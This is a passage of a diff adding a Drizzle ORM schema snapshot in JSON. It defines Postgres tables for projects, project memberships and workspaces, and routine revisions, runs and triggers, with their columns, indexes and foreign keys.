action", + "onDelete": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.project_goals": { + "name": "project_goals", + "schema": "", + "columns": { + "project_id": { + "name": "project_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "goal_id": { + "name": "goal_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "project_goals_project_idx": { + "name": "project_goals_project_idx", + "columns": [ + { + "expression": "project_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "project_goals_goal_idx": { + "name": "project_goals_goal_idx", + "columns": [ + { + "expression": "goal_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "project_goals_company_idx": { + "name": "project_goals_company_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "project_goals_project_id_projects_id_fk": { + "name": "project_goals_project_id_projects_id_fk", + "tableFrom": "project_goals", + "columnsFrom": [ + "project_id" + ], + "tableTo": "projects", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "project_goals_goal_id_goals_id_fk": { + "name": "project_goals_goal_id_goals_id_fk", + "tableFrom": "project_goals", + "columnsFrom": [ + "goal_id" + ], + "tableTo": "goals", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "project_goals_company_id_companies_id_fk": { + "name": "project_goals_company_id_companies_id_fk", + "tableFrom": "project_goals", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + } + }, + "compositePrimaryKeys": { + "project_goals_project_id_goal_id_pk": { + "name": "project_goals_project_id_goal_id_pk", + "columns": [ + "project_id", + "goal_id" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.project_memberships": { + "name": "project_memberships", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "project_id": { + "name": "project_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "state": { + "name": "state", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'joined'" + }, + "starred_at": { + "name": "starred_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "project_memberships_company_user_idx": { + "name": "project_memberships_company_user_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "project_memberships_company_user_starred_idx": { + "name": "project_memberships_company_user_starred_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "starred_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "project_memberships_project_idx": { + "name": "project_memberships_project_idx", + "columns": [ + { + "expression": "project_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "project_memberships_company_user_project_uq": { + "name": "project_memberships_company_user_project_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "project_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "project_memberships_company_id_companies_id_fk": { + "name": "project_memberships_company_id_companies_id_fk", + "tableFrom": "project_memberships", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "project_memberships_project_id_projects_id_fk": { + "name": "project_memberships_project_id_projects_id_fk", + "tableFrom": "project_memberships", + "columnsFrom": [ + "project_id" + ], + "tableTo": "projects", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.project_workspaces": { + "name": "project_workspaces", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "project_id": { + "name": "project_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "source_type": { + "name": "source_type", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'local_path'" + }, + "cwd": { + "name": "cwd", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "repo_url": { + "name": "repo_url", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "repo_ref": { + "name": "repo_ref", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "default_ref": { + "name": "default_ref", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "visibility": { + "name": "visibility", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'default'" + }, + "setup_command": { + "name": "setup_command", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "cleanup_command": { + "name": "cleanup_command", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "remote_provider": { + "name": "remote_provider", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "remote_workspace_ref": { + "name": "remote_workspace_ref", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "shared_workspace_key": { + "name": "shared_workspace_key", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "is_primary": { + "name": "is_primary", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "project_workspaces_company_project_idx": { + "name": "project_workspaces_company_project_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "project_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "project_workspaces_project_primary_idx": { + "name": "project_workspaces_project_primary_idx", + "columns": [ + { + "expression": "project_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "is_primary", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "project_workspaces_project_source_type_idx": { + "name": "project_workspaces_project_source_type_idx", + "columns": [ + { + "expression": "project_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source_type", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "project_workspaces_company_shared_key_idx": { + "name": "project_workspaces_company_shared_key_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "shared_workspace_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "project_workspaces_project_remote_ref_idx": { + "name": "project_workspaces_project_remote_ref_idx", + "columns": [ + { + "expression": "project_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "remote_provider", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "remote_workspace_ref", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "project_workspaces_company_id_companies_id_fk": { + "name": "project_workspaces_company_id_companies_id_fk", + "tableFrom": "project_workspaces", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "project_workspaces_project_id_projects_id_fk": { + "name": "project_workspaces_project_id_projects_id_fk", + "tableFrom": "project_workspaces", + "columnsFrom": [ + "project_id" + ], + "tableTo": "projects", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.projects": { + "name": "projects", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "goal_id": { + "name": "goal_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'backlog'" + }, + "lead_agent_id": { + "name": "lead_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "target_date": { + "name": "target_date", + "type": "date", + "primaryKey": false, + "notNull": false + }, + "color": { + "name": "color", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "icon": { + "name": "icon", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "env": { + "name": "env", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "pause_reason": { + "name": "pause_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "paused_at": { + "name": "paused_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "execution_workspace_policy": { + "name": "execution_workspace_policy", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "archived_at": { + "name": "archived_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "projects_company_idx": { + "name": "projects_company_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "projects_company_id_companies_id_fk": { + "name": "projects_company_id_companies_id_fk", + "tableFrom": "projects", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "projects_goal_id_goals_id_fk": { + "name": "projects_goal_id_goals_id_fk", + "tableFrom": "projects", + "columnsFrom": [ + "goal_id" + ], + "tableTo": "goals", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "projects_lead_agent_id_agents_id_fk": { + "name": "projects_lead_agent_id_agents_id_fk", + "tableFrom": "projects", + "columnsFrom": [ + "lead_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.routine_documents": { + "name": "routine_documents", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "routine_id": { + "name": "routine_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "document_id": { + "name": "document_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "key": { + "name": "key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "routine_documents_company_routine_key_uq": { + "name": "routine_documents_company_routine_key_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "routine_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "routine_documents_document_uq": { + "name": "routine_documents_document_uq", + "columns": [ + { + "expression": "document_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "routine_documents_company_routine_updated_idx": { + "name": "routine_documents_company_routine_updated_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "routine_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "updated_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "routine_documents_company_id_companies_id_fk": { + "name": "routine_documents_company_id_companies_id_fk", + "tableFrom": "routine_documents", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "routine_documents_routine_id_routines_id_fk": { + "name": "routine_documents_routine_id_routines_id_fk", + "tableFrom": "routine_documents", + "columnsFrom": [ + "routine_id" + ], + "tableTo": "routines", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "routine_documents_document_id_documents_id_fk": { + "name": "routine_documents_document_id_documents_id_fk", + "tableFrom": "routine_documents", + "columnsFrom": [ + "document_id" + ], + "tableTo": "documents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.routine_revisions": { + "name": "routine_revisions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "routine_id": { + "name": "routine_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "revision_number": { + "name": "revision_number", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "title": { + "name": "title", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "snapshot": { + "name": "snapshot", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "change_summary": { + "name": "change_summary", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "restored_from_revision_id": { + "name": "restored_from_revision_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_by_agent_id": { + "name": "created_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_by_user_id": { + "name": "created_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by_run_id": { + "name": "created_by_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "responsible_user_id": { + "name": "responsible_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "routine_revisions_routine_revision_uq": { + "name": "routine_revisions_routine_revision_uq", + "columns": [ + { + "expression": "routine_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "revision_number", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "routine_revisions_company_routine_created_idx": { + "name": "routine_revisions_company_routine_created_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "routine_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "routine_revisions_company_responsible_user_idx": { + "name": "routine_revisions_company_responsible_user_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "responsible_user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "routine_revisions_company_id_companies_id_fk": { + "name": "routine_revisions_company_id_companies_id_fk", + "tableFrom": "routine_revisions", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "routine_revisions_routine_id_routines_id_fk": { + "name": "routine_revisions_routine_id_routines_id_fk", + "tableFrom": "routine_revisions", + "columnsFrom": [ + "routine_id" + ], + "tableTo": "routines", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "routine_revisions_restored_from_revision_id_routine_revisions_id_fk": { + "name": "routine_revisions_restored_from_revision_id_routine_revisions_id_fk", + "tableFrom": "routine_revisions", + "columnsFrom": [ + "restored_from_revision_id" + ], + "tableTo": "routine_revisions", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "routine_revisions_created_by_agent_id_agents_id_fk": { + "name": "routine_revisions_created_by_agent_id_agents_id_fk", + "tableFrom": "routine_revisions", + "columnsFrom": [ + "created_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "routine_revisions_created_by_run_id_heartbeat_runs_id_fk": { + "name": "routine_revisions_created_by_run_id_heartbeat_runs_id_fk", + "tableFrom": "routine_revisions", + "columnsFrom": [ + "created_by_run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.routine_runs": { + "name": "routine_runs", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "routine_id": { + "name": "routine_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "trigger_id": { + "name": "trigger_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "source": { + "name": "source", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'received'" + }, + "triggered_at": { + "name": "triggered_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "routine_revision_id": { + "name": "routine_revision_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "responsible_user_id": { + "name": "responsible_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "idempotency_key": { + "name": "idempotency_key", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "trigger_payload": { + "name": "trigger_payload", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "dispatch_fingerprint": { + "name": "dispatch_fingerprint", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "linked_issue_id": { + "name": "linked_issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "coalesced_into_run_id": { + "name": "coalesced_into_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "failure_reason": { + "name": "failure_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "completed_at": { + "name": "completed_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "routine_runs_company_routine_idx": { + "name": "routine_runs_company_routine_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "routine_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "routine_runs_revision_idx": { + "name": "routine_runs_revision_idx", + "columns": [ + { + "expression": "routine_revision_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "routine_runs_company_responsible_user_idx": { + "name": "routine_runs_company_responsible_user_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "responsible_user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "routine_runs_trigger_idx": { + "name": "routine_runs_trigger_idx", + "columns": [ + { + "expression": "trigger_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "routine_runs_dispatch_fingerprint_idx": { + "name": "routine_runs_dispatch_fingerprint_idx", + "columns": [ + { + "expression": "routine_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "dispatch_fingerprint", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "routine_runs_linked_issue_idx": { + "name": "routine_runs_linked_issue_idx", + "columns": [ + { + "expression": "linked_issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "routine_runs_trigger_idempotency_idx": { + "name": "routine_runs_trigger_idempotency_idx", + "columns": [ + { + "expression": "trigger_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "idempotency_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "routine_runs_company_id_companies_id_fk": { + "name": "routine_runs_company_id_companies_id_fk", + "tableFrom": "routine_runs", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "routine_runs_routine_id_routines_id_fk": { + "name": "routine_runs_routine_id_routines_id_fk", + "tableFrom": "routine_runs", + "columnsFrom": [ + "routine_id" + ], + "tableTo": "routines", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "routine_runs_trigger_id_routine_triggers_id_fk": { + "name": "routine_runs_trigger_id_routine_triggers_id_fk", + "tableFrom": "routine_runs", + "columnsFrom": [ + "trigger_id" + ], + "tableTo": "routine_triggers", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "routine_runs_routine_revision_id_routine_revisions_id_fk": { + "name": "routine_runs_routine_revision_id_routine_revisions_id_fk", + "tableFrom": "routine_runs", + "columnsFrom": [ + "routine_revision_id" + ], + "tableTo": "routine_revisions", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "routine_runs_linked_issue_id_issues_id_fk": { + "name": "routine_runs_linked_issue_id_issues_id_fk", + "tableFrom": "routine_runs", + "columnsFrom": [ + "linked_issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.routine_triggers": { + "name": "routine_triggers", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "routine_id": { + "name": "routine_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "kind": { + "name": "kind", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "label": { + "name": "label", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "enabled": { + "name": "enabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "cron_expression": { + "name": "cron_expression", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "timezone": { + "name": "timezone", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "next_run_at": { + "name": "next_run_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "last_fired_at": { + "name": "last_fired_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "public_id": { + "name": "public_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "secret_id": { + "name": "secret_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "signing_mode": { + "name": "signing_mode", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "replay_window_sec": { + "name": "replay_window_sec", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "last_rotated_at": { + "name": "last_rotated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "last_result": { + "name": "last_result", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by_agent_id": { + "name": "created_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_by_user_id": { + "name": "created_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "updated_by_agent_id": { + "name": "updated_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "updated_by_user_id": { + "name": "updated_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "routine_triggers_company_routine_idx": { + "name": "routine_triggers_company_routine_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "routine_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "routine_triggers_company_kind_idx": { + "name": "routine_triggers_company_kind_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "kind", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "routine_triggers_next_run_idx": { + "name": "routine_triggers_next_run_idx", + "columns": [ + { + "expression": "next_run_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "routine_triggers_public_id_idx": { + "name": "routine_triggers_public_id_idx", + "columns": [ + { + "expression": "public_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "routine_triggers_public_id_uq": { + "name": "routine_triggers_public_id_uq", + "columns": [ + { + "expression": "public_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "routine_triggers_company_id_companies_id_fk": { + "name": "routine_triggers_company_id_companies_id_fk", + "tableFrom": "routine_triggers", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "routine_triggers_routine_id_routines_id_fk": { + "name": "routine_triggers_routine_id_routines_id_fk", + "tableFrom": "routine_triggers", + "columnsFrom": [ + "routine_id" + ], + 